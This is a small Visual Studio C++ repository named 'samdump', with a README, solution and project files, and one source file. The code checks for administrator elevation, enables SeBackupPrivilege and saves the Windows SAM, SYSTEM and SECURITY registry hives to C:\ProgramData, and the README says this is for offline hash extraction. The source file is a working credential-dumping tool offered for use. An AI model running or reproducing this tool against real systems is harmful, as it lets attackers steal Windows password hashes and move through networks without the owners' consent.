├── samdump
├── samdump.vcxproj.user
├── samdump.vcxproj.filters
├── samdump.cpp
└── samdump.vcxproj
├── README.md
└── samdump.sln
/samdump/samdump.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # About
2 | WinApi Dump SAM - SYSTEM - SECURITY registry keys for offline parsing and hash extraction.
3 |
4 | ## Instructions
5 |
6 | Compile and run `samdump.exe`:
7 |
8 | ```
9 | samdump\x64\release> samdump.exe
10 | ```
11 |
12 | By default the output will be saved in the following files:
13 |
14 | ```
15 | C:\ProgramData\sam.save - SAM
16 | C:\ProgramData\system.save - SYSTEM
17 | C:\ProgramData\security.save - SECURITY
18 | ```
19 |
20 | You can modify the file names by changing `samdump.cpp`.
21 |
--------------------------------------------------------------------------------
/samdump/samdump.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Archivos de origen
20 |
21 |
22 |
--------------------------------------------------------------------------------
/samdump.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31005.135
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "samdump", "samdump\samdump.vcxproj", "{C076A991-4E22-47E8-B97C-9A700A5B234A}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {C076A991-4E22-47E8-B97C-9A700A5B234A}.Debug|x64.ActiveCfg = Debug|x64
17 | {C076A991-4E22-47E8-B97C-9A700A5B234A}.Debug|x64.Build.0 = Debug|x64
18 | {C076A991-4E22-47E8-B97C-9A700A5B234A}.Debug|x86.ActiveCfg = Debug|Win32
19 | {C076A991-4E22-47E8-B97C-9A700A5B234A}.Debug|x86.Build.0 = Debug|Win32
20 | {C076A991-4E22-47E8-B97C-9A700A5B234A}.Release|x64.ActiveCfg = Release|x64
21 | {C076A991-4E22-47E8-B97C-9A700A5B234A}.Release|x64.Build.0 = Release|x64
22 | {C076A991-4E22-47E8-B97C-9A700A5B234A}.Release|x86.ActiveCfg = Release|Win32
23 | {C076A991-4E22-47E8-B97C-9A700A5B234A}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {3309EE6C-B904-489D-A306-263C0DECA400}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/samdump/samdump.cpp:
--------------------------------------------------------------------------------
1 |
2 | #include
3 | #include
4 |
5 | BOOL IsElevated() {
6 | BOOL fRet = FALSE;
7 | HANDLE hToken = NULL;
8 | if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
9 | TOKEN_ELEVATION Elevation = { 0 };
10 | DWORD cbSize = sizeof(TOKEN_ELEVATION);
11 | if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
12 | fRet = Elevation.TokenIsElevated;
13 | }
14 | }
15 | if (hToken) {
16 | CloseHandle(hToken);
17 | }
18 | return fRet;
19 | }
20 |
21 | BOOL SetBackupPrivilege() {
22 | HANDLE hToken = NULL;
23 | TOKEN_PRIVILEGES TokenPrivileges = { 0 };
24 |
25 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
26 | return FALSE;
27 | }
28 |
29 | TokenPrivileges.PrivilegeCount = 1;
30 | TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;
31 |
32 | LPCWSTR lpwPriv = L"SeBackupPrivilege";
33 | if (!LookupPrivilegeValueW(NULL, lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {
34 | CloseHandle(hToken);
35 | return FALSE;
36 | }
37 |
38 | if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
39 | CloseHandle(hToken);
40 | return FALSE;
41 | }
42 |
43 | CloseHandle(hToken);
44 | return TRUE;
45 | }
46 |
47 | void dump_reg()
48 | {
49 | HKEY hKey = 0x0;
50 |
51 | DWORD file_exist;
52 |
53 | //dump sam
54 | LPCWSTR lpSubKey = L"SAM";
55 | LPCWSTR lpFile = L"C:\\ProgramData\\sam.save";
56 | RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
57 | file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
58 |
59 | //Check file exist
60 | if (file_exist == 183) {
61 | DeleteFileW(lpFile);
62 | RegSaveKeyW(hKey, lpFile, 0x0);
63 | }
64 | RegCloseKey(hKey);
65 |
66 | hKey = 0x0;
67 | //dump security
68 | lpSubKey = L"SECURITY";
69 | lpFile = L"C:\\ProgramData\\security.save";
70 | RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
71 | file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
72 |
73 | //Check file exist
74 | if (file_exist == 183) {
75 | DeleteFileW(lpFile);
76 | RegSaveKeyW(hKey, lpFile, 0x0);
77 | }
78 | RegCloseKey(hKey);
79 |
80 | hKey = 0x0;
81 | //dump system
82 | lpSubKey = L"SYSTEM";
83 | lpFile = L"C:\\ProgramData\\system.save";
84 | RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
85 | file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
86 |
87 | //Check file exist
88 | if (file_exist == 183) {
89 | DeleteFileW(lpFile);
90 | RegSaveKeyW(hKey, lpFile, 0x0);
91 | }
92 | RegCloseKey(hKey);
93 |
94 | }
95 |
96 | int main()
97 | {
98 | if (!IsElevated()) {
99 | std::cout << "[!] You need elevated privileges to run this tool!\n";
100 | exit(1);
101 | }
102 |
103 | SetBackupPrivilege();
104 | std::cout << "[+] SeBackupPrivilege has been successfully activated.\n";
105 |
106 | dump_reg();
107 | std::cout << "[+] Sam, System and Security dumped to C:\\ProgramData\\\n";
108 | }
109 |
110 |
--------------------------------------------------------------------------------
/samdump/samdump.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {c076a991-4e22-47e8-b97c-9a700a5b234a}
25 | samdump
26 | 10.0
27 | samdump
28 |
29 |
30 |
31 | Application
32 | true
33 | v142
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v142
40 | true
41 | Unicode
42 |
43 |
44 | Application
45 | true
46 | v142
47 | Unicode
48 |
49 |
50 | Application
51 | false
52 | v142
53 | true
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | true
76 |
77 |
78 | false
79 |
80 |
81 | true
82 |
83 |
84 | false
85 |
86 |
87 |
88 | Level3
89 | true
90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
91 | true
92 |
93 |
94 | Console
95 | true
96 |
97 |
98 |
99 |
100 | Level3
101 | true
102 | true
103 | true
104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
105 | true
106 |
107 |
108 | Console
109 | true
110 | true
111 | true
112 |
113 |
114 |
115 |
116 | Level3
117 | true
118 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
119 | true
120 |
121 |
122 | Console
123 | true
124 |
125 |
126 |
127 |
128 | Level3
129 | true
130 | true
131 | true
132 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
133 | true
134 |
135 |
136 | Console
137 | true
138 | true
139 | true
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
--------------------------------------------------------------------------------